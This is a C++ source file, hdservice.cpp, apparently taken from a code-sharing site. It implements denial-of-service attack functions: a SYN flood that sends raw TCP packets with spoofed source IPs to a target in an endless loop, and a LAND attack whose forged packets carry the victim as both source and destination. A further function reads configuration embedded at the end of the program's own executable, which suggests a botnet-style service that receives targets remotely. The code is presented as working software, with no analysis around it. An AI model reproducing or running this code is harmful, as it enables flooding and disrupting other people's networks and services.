📄 hdservice.cpp
字号:
CLIENTPARA *clientp=(CLIENTPARA*)dParam;
if (clientp==NULL)
return -1;
char SYN_DEST_IP[32];
char port[6];
char SendBuf[128];
WSADATA WsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
int datasize,ErrorCode,Counter,flag,FakeIPNet,FakeIPHost;
int TimeOut=2000,SendSEQ=0;
memset(SYN_DEST_IP,0,sizeof(SYN_DEST_IP));
memset(port,0,sizeof(port));
strcpy(SYN_DEST_IP,clientp->IP);
strcpy(port,clientp->port);
//初始化SOCKET
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&WsaData))!=0)
{
ExitProcess(ErrorCode);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET)
{
ExitProcess(ErrorCode);
}
flag=TRUE;
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(CHAR *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR)
{
return 1;
}
__try
{
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
return 2;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIPNet=inet_addr(FAKE_IP);
FakeIPHost=ntohl(FakeIPNet);
//填充IP首部
ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIPHost+SendSEQ); //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(::rand()); //源端口号
tcp_header.th_dport=htons(atoi(port)); //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和
//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr=ip_header.sourceIP; //源地址
psd_header.daddr=ip_header.destIP; //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP; //协议类型
psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
while(1) {
//每发送10,240个报文输出一个标示符
//printf(".");
for(Counter=0;Counter<10240;Counter++)
{
Sleep(10);
if(SendSEQ++==65536) SendSEQ=1; //序列号循环
//更改IP首部
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIPHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_sum=0; //校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
::memset(SendBuf,0,sizeof(SendBuf));
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr, sizeof(DestAddr));
//if (ErrorCode==SOCKET_ERROR)
//printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally
{
if(SockRaw != INVALID_SOCKET)
closesocket(SockRaw);
WSACleanup();
//printf("end");
}
}
//*****************************************************
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//*****************************************************
void Readme()
{
char peizhi[7];
char pzpos[29];
char tempstr[1000];
char szThis_file[256];
try
{
//SaveLogToFile("Readme()");
memset(szThis_file,0,sizeof(szThis_file));
::GetModuleFileName(NULL,szThis_file,sizeof(szThis_file));
CFile cf;
cf.Open(szThis_file,CFile::modeRead,NULL);
memset(peizhi,0,7);
cf.Seek(cf.GetLength()-7,CFile::begin);
cf.Read(peizhi,7);
//if(strcmp(peizhi,"HGZVIP1")==0)
{
//::MessageBox(NULL,peizhi,NULL,MB_OK);
cf.Seek(cf.GetLength()-36,CFile::begin);
cf.Read(pzpos,29);
int j=0,len=0;
char *p,*q;
p=pzpos;
//::MessageBox(NULL,pzpos,NULL,MB_OK);
for(;j<29;j++)
{
len=len+(*p);
p=p+1;
}
cf.Seek(cf.GetLength()-36-len,CFile::begin);
memset(tempstr,0,1000);
cf.Read(tempstr,len);
//安装名称
len=0;
p=pzpos;
for(j=1;j<=1;j++)
{
len=len+(*p);
p=p+1;
}
q=tempstr+len;
memset(installname,0,sizeof(installname));
::strncpy(installname,q,(*p));
//SaveLogToFile(installname);
//ip文件
len=0;
p=pzpos;
for(j=1;j<=13;j++)
{
len=len+(*p);
p=p+1;
}
q=tempstr+len;
memset(ipfile,0,sizeof(ipfile));
::strncpy(ipfile,q,(*p));
//SaveLogToFile(ipfile);
delete p,q;
cf.Close();
}
}
catch(...)
{
}
}
//************************************************
/***********************************************/
//保存日志
void SaveLogToFile(char *content)
{
CFile logfile;
CString strTime;
strTime=CTime::GetCurrentTime().Format("%H:%M:%S ");
logfile.Open("c:\\HDService.log",CFile::modeWrite|CFile::modeCreate|CFile::modeNoTruncate,NULL);
logfile.SeekToEnd();
logfile.Write(strTime,strTime.GetLength());
logfile.Write(content,strlen(content));
logfile.Write("\r\n",strlen("\r\n"));
logfile.Close();
}
/***********************************************/
//CheckSum:计算校验和的子函数
USHORT Landchecksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
/***********************************************/
unsigned long Landresolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))<0)
if((he=gethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
/***********************************************/
unsigned long CALLBACK LandDDOSFunction(LPVOID dParam)
{
//传入参数
CLIENTPARA *clientp=(CLIENTPARA*)dParam;
if (clientp==NULL)
return -1;
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IP_HEADER ipHeader;
TCP_HEADER tcpHeader;
//psd_header psdHeader;
char szSendBuf[40]={0};
BOOL flag;
int Land;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
return -1;
}
if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
return -2;
}
//设置ip选项
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
return -3;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(clientp->port));
addr_in.sin_addr.S_un.S_addr=Landresolve(clientp->IP);
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=htons(0xF1C);
ipHeader.frag_and_flags=0;
ipHeader.ttl=255;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.sourceIP=Landresolve(clientp->IP);
ipHeader.destIP=ipHeader.sourceIP;
//填充TCP首部
tcpHeader.th_sport=htons(atoi(clientp->port));
tcpHeader.th_dport=htons(atoi(clientp->port));
tcpHeader.th_seq=htonl(0xF1C);
tcpHeader.th_ack=1;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等
tcpHeader.th_win=htons(2048);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
psd_header.saddr=ipHeader.sourceIP;
psd_header.daddr=ipHeader.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcpHeader));
//计算校验和
memcpy(szSendBuf, &psd_header, sizeof(psd_header));
memcpy(szSendBuf+sizeof(psd_header), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=Landchecksum((USHORT *)szSendBuf,sizeof(psd_header)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=Landchecksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
while(1){
//Sleep(10);//800
Sleep(15); //500
for(int i=0;i<10;i++)
{
Land=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),
0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (Land==SOCKET_ERROR)
{
//printf("Land error:%d\n",WSAGetLastError());
return -4;
}
}
}//end while
closesocket(sock);
WSACleanup();
return 0;
}
/***********************************************/
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -